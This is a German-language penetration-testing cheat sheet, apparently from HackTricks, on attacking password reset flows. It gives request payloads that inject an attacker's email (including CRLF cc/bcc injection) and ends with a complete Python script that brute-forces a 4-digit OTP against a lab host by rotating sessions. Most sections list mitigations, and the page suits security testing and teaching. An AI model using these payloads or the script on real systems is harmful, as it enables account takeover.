# Zurücksetzen/vergessenes Passwort umgehen {{#include ../banners/hacktricks-training.md}} ## **Leck des Passwort-Zurücksetzen-Tokens über den Referrer** - Der HTTP-Referer-Header kann das Passwort-Zurücksetzen-Token leaken, wenn es in der URL enthalten ist. Dies kann geschehen, wenn ein Benutzer auf einen Link einer Drittanbieter-Website klickt, nachdem er eine Passwortzurücksetzung angefordert hat. - **Auswirkungen**: Potenzieller Kontoübernahme durch Cross-Site Request Forgery (CSRF)-Angriffe. - **Ausnutzung**: Um zu überprüfen, ob ein Passwort-Zurücksetzen-Token im Referer-Header geleakt wird, **fordern Sie eine Passwortzurücksetzung** an Ihre E-Mail-Adresse an und **klicken Sie auf den bereitgestellten Zurücksetzen-Link**. **Ändern Sie Ihr Passwort nicht** sofort. Stattdessen **navigieren Sie zu einer Drittanbieter-Website** (wie Facebook oder Twitter), während Sie **die Anfragen mit Burp Suite abfangen**. Überprüfen Sie die Anfragen, um zu sehen, ob der **Referer-Header das Passwort-Zurücksetzen-Token enthält**, da dies sensible Informationen an Dritte offenlegen könnte. - **Referenzen**: - [HackerOne Bericht 342693](https://hackerone.com/reports/342693) - [HackerOne Bericht 272379](https://hackerone.com/reports/272379) - [Artikel über das Leck des Passwort-Zurücksetzen-Tokens](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) ## **Passwort-Zurücksetzen-Vergiftung** - Angreifer können den Host-Header während der Passwort-Zurücksetzanforderungen manipulieren, um den Zurücksetzen-Link auf eine bösartige Seite zu verweisen. - **Auswirkungen**: Führt zu potenzieller Kontoübernahme durch das Leaken von Zurücksetzen-Tokens an Angreifer. - **Minderungsmaßnahmen**: - Validieren Sie den Host-Header gegen eine Whitelist erlaubter Domains. - Verwenden Sie sichere, serverseitige Methoden zur Generierung absoluter URLs. - **Patch**: Verwenden Sie `$_SERVER['SERVER_NAME']`, um Passwort-Zurücksetzen-URLs zu konstruieren, anstatt `$_SERVER['HTTP_HOST']`. - **Referenzen**: - [Acunetix Artikel über Passwort-Zurücksetzen-Vergiftung](https://www.acunetix.com/blog/articles/password-reset-poisoning/) ## **Passwort-Zurücksetzen durch Manipulation des E-Mail-Parameters** Angreifer können die Passwort-Zurücksetzanforderung manipulieren, indem sie zusätzliche E-Mail-Parameter hinzufügen, um den Zurücksetzen-Link umzuleiten. - Fügen Sie die E-Mail des Angreifers als zweiten Parameter mit & hinzu. ```php POST /resetPassword [...] email=victim@email.com&email=attacker@email.com ``` - Fügen Sie die E-Mail des Angreifers als zweiten Parameter mit %20 hinzu ```php POST /resetPassword [...] email=victim@email.com%20email=attacker@email.com ``` - Fügen Sie die Angreifer-E-Mail als zweiten Parameter mit | hinzu ```php POST /resetPassword [...] email=victim@email.com|email=attacker@email.com ``` - Fügen Sie die E-Mail des Angreifers als zweiten Parameter mit cc hinzu ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dcc:attacker@mail.tld" ``` - Fügen Sie die E-Mail des Angreifers als zweiten Parameter unter Verwendung von BCC hinzu ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dbcc:attacker@mail.tld" ``` - Fügen Sie die E-Mail des Angreifers als zweiten Parameter mit , hinzu. ```php POST /resetPassword [...] email="victim@mail.tld",email="attacker@mail.tld" ``` - Fügen Sie die Angreifer-E-Mail als zweiten Parameter im JSON-Array hinzu. ```php POST /resetPassword [...] {"email":["victim@mail.tld","atracker@mail.tld"]} ``` - **Minderungsmaßnahmen**: - E-Mail-Parameter serverseitig korrekt analysieren und validieren. - Verwenden Sie vorbereitete Anweisungen oder parameterisierte Abfragen, um Injektionsangriffe zu verhindern. - **Referenzen**: - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) ## **Ändern der E-Mail und des Passworts eines Benutzers über API-Parameter** - Angreifer können E-Mail- und Passwortparameter in API-Anfragen ändern, um die Kontodaten zu ändern. ```php POST /api/changepass [...] ("form": {"email":"victim@email.tld","password":"12345678"}) ``` - **Minderungsmaßnahmen**: - Stellen Sie strenge Parameterüberprüfungen und Authentifizierungsprüfungen sicher. - Implementieren Sie robuste Protokollierung und Überwachung, um verdächtige Aktivitäten zu erkennen und darauf zu reagieren. - **Referenz**: - [Vollständige Kontoübernahme über API-Parameter-Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) ## **Kein Ratenlimit: E-Mail-Bombardierung** - Mangel an Ratenbegrenzung bei Passwortzurücksetzanforderungen kann zu E-Mail-Bombardierung führen, wodurch der Benutzer mit Rücksetz-E-Mails überflutet wird. - **Minderungsmaßnahmen**: - Implementieren Sie eine Ratenbegrenzung basierend auf IP-Adresse oder Benutzerkonto. - Verwenden Sie CAPTCHA-Herausforderungen, um automatisierten Missbrauch zu verhindern. - **Referenzen**: - [HackerOne Bericht 280534](https://hackerone.com/reports/280534) ## **Herausfinden, wie das Passwort-Zurücksetz-Token generiert wird** - Das Verständnis des Musters oder der Methode hinter der Token-Generierung kann dazu führen, dass Tokens vorhergesagt oder brute-forced werden. Einige Optionen: - Basierend auf Zeitstempel - Basierend auf der Benutzer-ID - Basierend auf der E-Mail des Benutzers - Basierend auf Vorname und Nachname - Basierend auf Geburtsdatum - Basierend auf Kryptografie - **Minderungsmaßnahmen**: - Verwenden Sie starke, kryptografische Methoden zur Token-Generierung. - Stellen Sie ausreichende Zufälligkeit und Länge sicher, um Vorhersehbarkeit zu verhindern. - **Tools**: Verwenden Sie Burp Sequencer, um die Zufälligkeit von Tokens zu analysieren. ## **Erratbare UUID** - Wenn UUIDs (Version 1) erratbar oder vorhersagbar sind, können Angreifer sie brute-forcen, um gültige Rücksetz-Token zu generieren. Überprüfen Sie: {{#ref}} uuid-insecurities.md {{#endref}} - **Minderungsmaßnahmen**: - Verwenden Sie GUID Version 4 für Zufälligkeit oder implementieren Sie zusätzliche Sicherheitsmaßnahmen für andere Versionen. - **Tools**: Verwenden Sie [guidtool](https://github.com/intruder-io/guidtool) zur Analyse und Generierung von GUIDs. ## **Antwortmanipulation: Schlechte Antwort durch gute ersetzen** - Manipulation von HTTP-Antworten, um Fehlermeldungen oder Einschränkungen zu umgehen. - **Minderungsmaßnahmen**: - Implementieren Sie serverseitige Überprüfungen, um die Integrität der Antwort sicherzustellen. - Verwenden Sie sichere Kommunikationskanäle wie HTTPS, um Man-in-the-Middle-Angriffe zu verhindern. - **Referenz**: - [Kritischer Fehler bei Live-Bug-Bounty-Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) ## **Verwendung eines abgelaufenen Tokens** - Testen, ob abgelaufene Tokens weiterhin für das Zurücksetzen des Passworts verwendet werden können. - **Minderungsmaßnahmen**: - Implementieren Sie strenge Token-Ablaufrichtlinien und validieren Sie das Token-Ablaufdatum serverseitig. ## **Brute-Force-Passwort-Zurücksetz-Token** - Versuch, das Rücksetz-Token mit Tools wie Burpsuite und IP-Rotator zu brute-forcen, um IP-basierte Ratenlimits zu umgehen. - **Minderungsmaßnahmen**: - Implementieren Sie robuste Ratenbegrenzungs- und Kontosperrmechanismen. - Überwachen Sie verdächtige Aktivitäten, die auf Brute-Force-Angriffe hindeuten. ## **Versuchen Sie, Ihr Token zu verwenden** - Testen, ob das Rücksetz-Token eines Angreifers in Verbindung mit der E-Mail des Opfers verwendet werden kann. - **Minderungsmaßnahmen**: - Stellen Sie sicher, dass Tokens an die Benutzersitzung oder andere benutzerspezifische Attribute gebunden sind. ## **Sitzungsinvalidierung bei Abmeldung/Passwortzurücksetzung** - Sicherstellen, dass Sitzungen ungültig werden, wenn sich ein Benutzer abmeldet oder sein Passwort zurücksetzt. - **Minderungsmaßnahmen**: - Implementieren Sie ein angemessenes Sitzungsmanagement, um sicherzustellen, dass alle Sitzungen bei Abmeldung oder Passwortzurücksetzung ungültig werden. ## **Sitzungsinvalidierung bei Abmeldung/Passwortzurücksetzung** - Rücksetz-Token sollten eine Ablaufzeit haben, nach der sie ungültig werden. - **Minderungsmaßnahmen**: - Setzen Sie eine angemessene Ablaufzeit für Rücksetz-Token fest und setzen Sie diese serverseitig strikt durch. ## **OTP-Ratenlimit-Umgehung durch Ändern Ihrer Sitzung** - Wenn die Website die Benutzersitzung verwendet, um falsche OTP-Versuche zu verfolgen und das OTP schwach war (<= 4 Ziffern), können wir das OTP effektiv brute-forcen. - **Ausnutzung**: - Fordern Sie einfach ein neues Sitzungstoken an, nachdem Sie vom Server blockiert wurden. - **Beispiel** Code, der diesen Fehler ausnutzt, indem er das OTP zufällig errät (wenn Sie die Sitzung ändern, ändert sich auch das OTP, und wir können es nicht sequenziell brute-forcen!): ``` python # Authentifizierungsumgehung durch Passwortzurücksetzung # von coderMohammed import requests import random from time import sleep headers = { "User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1", "Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea" } url = "http://10.10.12.231:1337/reset_password.php" logout = "http://10.10.12.231:1337/logout.php" root = "http://10.10.12.231:1337/" parms = dict() ter = 0 phpsessid = "" print("[+] Angriff startet!") sleep(3) print("[+] Dies könnte etwa 5 Minuten dauern!") try: while True: parms["recovery_code"] = f"{random.randint(0, 9999):04}" # Zufallszahl von 0 - 9999 mit 4 d parms["s"] = 164 # nicht wichtig, es beeinflusst nur das Frontend res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) if ter == 8: # folge der Anzahl der Versuche out = requests.get(logout,headers=headers) # meldet dich ab mainp = requests.get(root) # erhält ein weiteres phpssid (Token) cookies = out.cookies # extrahiere die sessionid phpsessid = cookies.get('PHPSESSID') headers["cookies"]=f"PHPSESSID={phpsessid}" # aktualisiere die Header mit neuer Sitzung reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sendet die E-Mail, um das Passwort zu ändern ter = 0 # setze ter zurück, damit wir nach 8 Versuchen eine neue Sitzung erhalten else: ter += 1 if(len(res.text) == 2292): # dies ist die Länge der Seite, wenn du den Wiederherstellungscode korrekt erhältst (erhalten durch Testen) print(len(res.text)) # für Debug-Info print(phpsessid) reset_data = { # hier werden wir das Passwort auf etwas Neues ändern "new_password": "D37djkamd!", "confirm_password": "D37djkamd!" } reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) print("[+] Passwort wurde geändert in: D37djkamd!") break except Exception as e: print("[+] Angriff gestoppt") ``` ## Referenzen - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) {{#include ../banners/hacktricks-training.md}}